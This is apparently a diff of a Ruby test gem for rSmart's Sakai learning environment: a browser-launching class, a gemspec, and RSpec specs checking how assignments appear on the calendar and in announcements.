+ #
11
+ # The initialization will return the LoginPage class object as well as
12
+ # create the @browser variable used throughout the page classes
13
+ class SakaiCLE
14
+
15
+ #include PageObject
16
+ #include ToolsMenu
17
+
18
+ attr_reader :browser
19
+
20
+ def initialize(web_browser, url)
21
+ @browser = Watir::Browser.new web_browser
22
+ @browser.window.resize_to(1400,900)
23
+ @browser.goto url
24
+ end
25
+
26
+ # Returns the class containing the welcome page's page elements.
27
+ def page
28
+ Login.new @browser
29
+ end
30
+
31
+ end
@@ -0,0 +1,14 @@
1
+ spec = Gem::Specification.new do |s|
2
+ s.name = 'sambal-cle'
3
+ s.version = '0.1.3'
4
+ s.summary = %q{Sakai-CLE functional testing API for the rSmart Collaborative Learning Environment}
5
+ s.description = %q{The Sambal-CLE gem provides an API for interacting with pages and page elements in rSmart's deployment of the Sakai Collaborative Learning Environment.}
6
+ s.files = Dir.glob("**/**/**")
7
+ s.test_files = Dir.glob("test/*test_rb")
8
+ s.authors = ["Abraham Heward"]
9
+ s.email = %w{"aheward@rsmart.com"}
10
+ s.homepage = 'https://github.com/rSmart/sambal-cle'
11
+ s.add_dependency 'watir-webdriver', '>= 0.5.5'
12
+ s.add_dependency 'selenium-webdriver', '>= 2.21.2'
13
+ s.required_ruby_version = '>= 1.9.2'
14
+ end
@@ -0,0 +1,86 @@
1
+ require 'rspec'
2
+ require 'sambal-cle'
3
+ require 'yaml'
4
+
5
+ describe "Assignment Due Date on Calendar" do
6
+
7
+ include Utilities
8
+ include Workflows
9
+ include PageHelper
10
+ include Randomizers
11
+ include DateMakers
12
+
13
+ before :all do
14
+
15
+ # Get the test configuration data
16
+ @config = YAML.load_file("config.yml")
17
+ @directory = YAML.load_file("directory.yml")
18
+ @sakai = SakaiCLE.new(@config['browser'], @config['url'])
19
+ @browser = @sakai.browser
20
+
21
+ @student = @directory['person1']['id']
22
+ @spassword = @directory['person1']['password']
23
+ @instructor1 = @directory['person3']['id']
24
+ @ipassword = @directory['person3']['password']
25
+
26
+ @instructor2 = @directory['person4']['id']
27
+ @password1 = @directory['person4']['password']
28
+
29
+ @sakai.page.login(@instructor1, @ipassword)
30
+
31
+ @site = make SiteObject
32
+ @site.create
33
+
34
+ @site.add_official_participants :role=>"Student", :participants=>[@student]
35
+ @site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
36
+
37
+ @assignment1 = make AssignmentObject, :site=>@site.name, :title=>random_string, :grade_scale=>"Letter grade", :instructions=>random_multiline(500, 10, :string), :open=>minutes_ago(5)
38
+ @assignment2 = make AssignmentObject, :allow_resubmission=>:set, :add_due_date=>:set, :site=>@site.name, :title=>random_nicelink(15), :open=>hours_ago(5), :student_submissions=>"Inline only", :grade_scale=>"Letter grade", :instructions=>random_multiline(750, 13, :string)
39
+
40
+ @assignment1.create
41
+ @assignment2.create
42
+
43
+ end
44
+
45
+ after :all do
46
+ # Close the browser window
47
+ @sakai.browser.close
48
+ end
49
+
50
+ it "When 'add due date to schedule' not checked, Assignment does not appear on the Calendar" do
51
+ calendar
52
+
53
+ on Calendar do |calendar|
54
+ # List events on the expected due date for Assignment 2
55
+ calendar.view.select "List of Events"
56
+ calendar.show_events.select "Custom date range"
57
+ calendar.start_month.select @assignment1.due[:MON]
58
+ calendar.start_day.select @assignment1.due[:day_of_month]
59
+ calendar.start_year.select @assignment1.due[:year]
60
+ calendar.end_month.select @assignment1.due[:MON]
61
+ calendar.end_day.select @assignment1.due[:day_of_month]
62
+ calendar.end_year.select @assignment1.due[:year]
63
+ calendar.filter_events
64
+
65
+ calendar.events_list.should_not include "Due #{@assignment1.title}"
66
+ end
67
+ end
68
+
69
+ it "When 'add due date to schedule' is checked, Assignment appears on the Calendar" do
70
+ on Calendar do |calendar|
71
+ calendar.start_month.select @assignment2.due[:MON]
72
+ calendar.start_day.select @assignment2.due[:day_of_month]
73
+ calendar.start_year.select @assignment2.due[:year]
74
+ calendar.end_month.select @assignment2.due[:MON]
75
+ calendar.end_day.select @assignment2.due[:day_of_month]
76
+ calendar.end_year.select @assignment2.due[:year]
77
+ calendar.filter_events
78
+
79
+ calendar.events_list.should include "Due #{@assignment2.title}"
80
+
81
+ end
82
+ end
83
+
84
+ # TODO: Add tests for student and other instructor being able to see the assignment in the calendar
85
+
86
+ end
@@ -0,0 +1,71 @@
1
+ require 'rspec'
2
+ require 'sambal-cle'
3
+ require 'yaml'
4
+
5
+ describe "Assignments appearing in Announcements" do
6
+
7
+ include Utilities
8
+ include Workflows
9
+ include PageHelper
10
+ include Randomizers
11
+ include DateMakers
12
+
13
+ before :all do
14
+
15
+ # Get the test configuration data
16
+ @config = YAML.load_file("config.yml")
17
+ @directory = YAML.load_file("directory.yml")
18
+ @sakai = SakaiCLE.new(@config['browser'], @config['url'])
19
+ @browser = @sakai.browser
20
+
21
+ @student = @directory['person1']['id']
22
+ @spassword = @directory['person1']['password']
23
+ @instructor1 = @directory['person3']['id']
24
+ @ipassword = @directory['person3']['password']
25
+
26
+ @instructor2 = @directory['person4']['id']
27
+ @password1 = @directory['person4']['password']
28
+
29
+ @sakai.page.login(@instructor1, @ipassword)
30
+
31
+ @site = make SiteObject
32
+ @site.create
33
+
34
+ @site.add_official_participants :role=>"Student", :participants=>[@student]
35
+ @site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
36
+
37
+ @assignment1 = make AssignmentObject, :status=>"Draft", :add_open_announcement=>:set, :site=>@site.name, :title=>random_xss_string(30), :open=>in_an_hour, :student_submissions=>"Attachments only", :grade_scale=>"Points", :max_points=>"100", :instructions=>random_multiline(600, 12, :string)
38
+ @assignment2 = make AssignmentObject, :site=>@site.name, :add_open_announcement=>:set, :open=>an_hour_ago
39
+ @assignment1.create
40
+ @assignment2.create
41
+
42
+ end
43
+
44
+ after :all do
45
+ # Close the browser window
46
+ @sakai.browser.close
47
+ end
48
+
49
+ it "Assignments in Draft status do not appear in Announcements" do
50
+ home
51
+
52
+ on Home do |home|
53
+ home.announcements_list.should_not include("Assignment: Open Date for '#{@assignment1.title}'")
54
+ end
55
+ end
56
+
57
+ it "Open assignments do appear in Announcements" do
58
+ on Home do |home|
59
+ home.announcements_list.should include("Assignment: Open Date for '#{@assignment2.title}'")
60
+ end
61
+ end
62
+
63
+ it "Changing assignment from Draft to open will display assignment in Announcements" do
64
+ @assignment1.edit :status=>"Open"
65
+ home
66
+ on Home do |home|
67
+ home.announcements_list.should include("Assignment: Open Date for '#{@assignment1.title}'")
68
+ end
69
+ end
70
+
71
+ end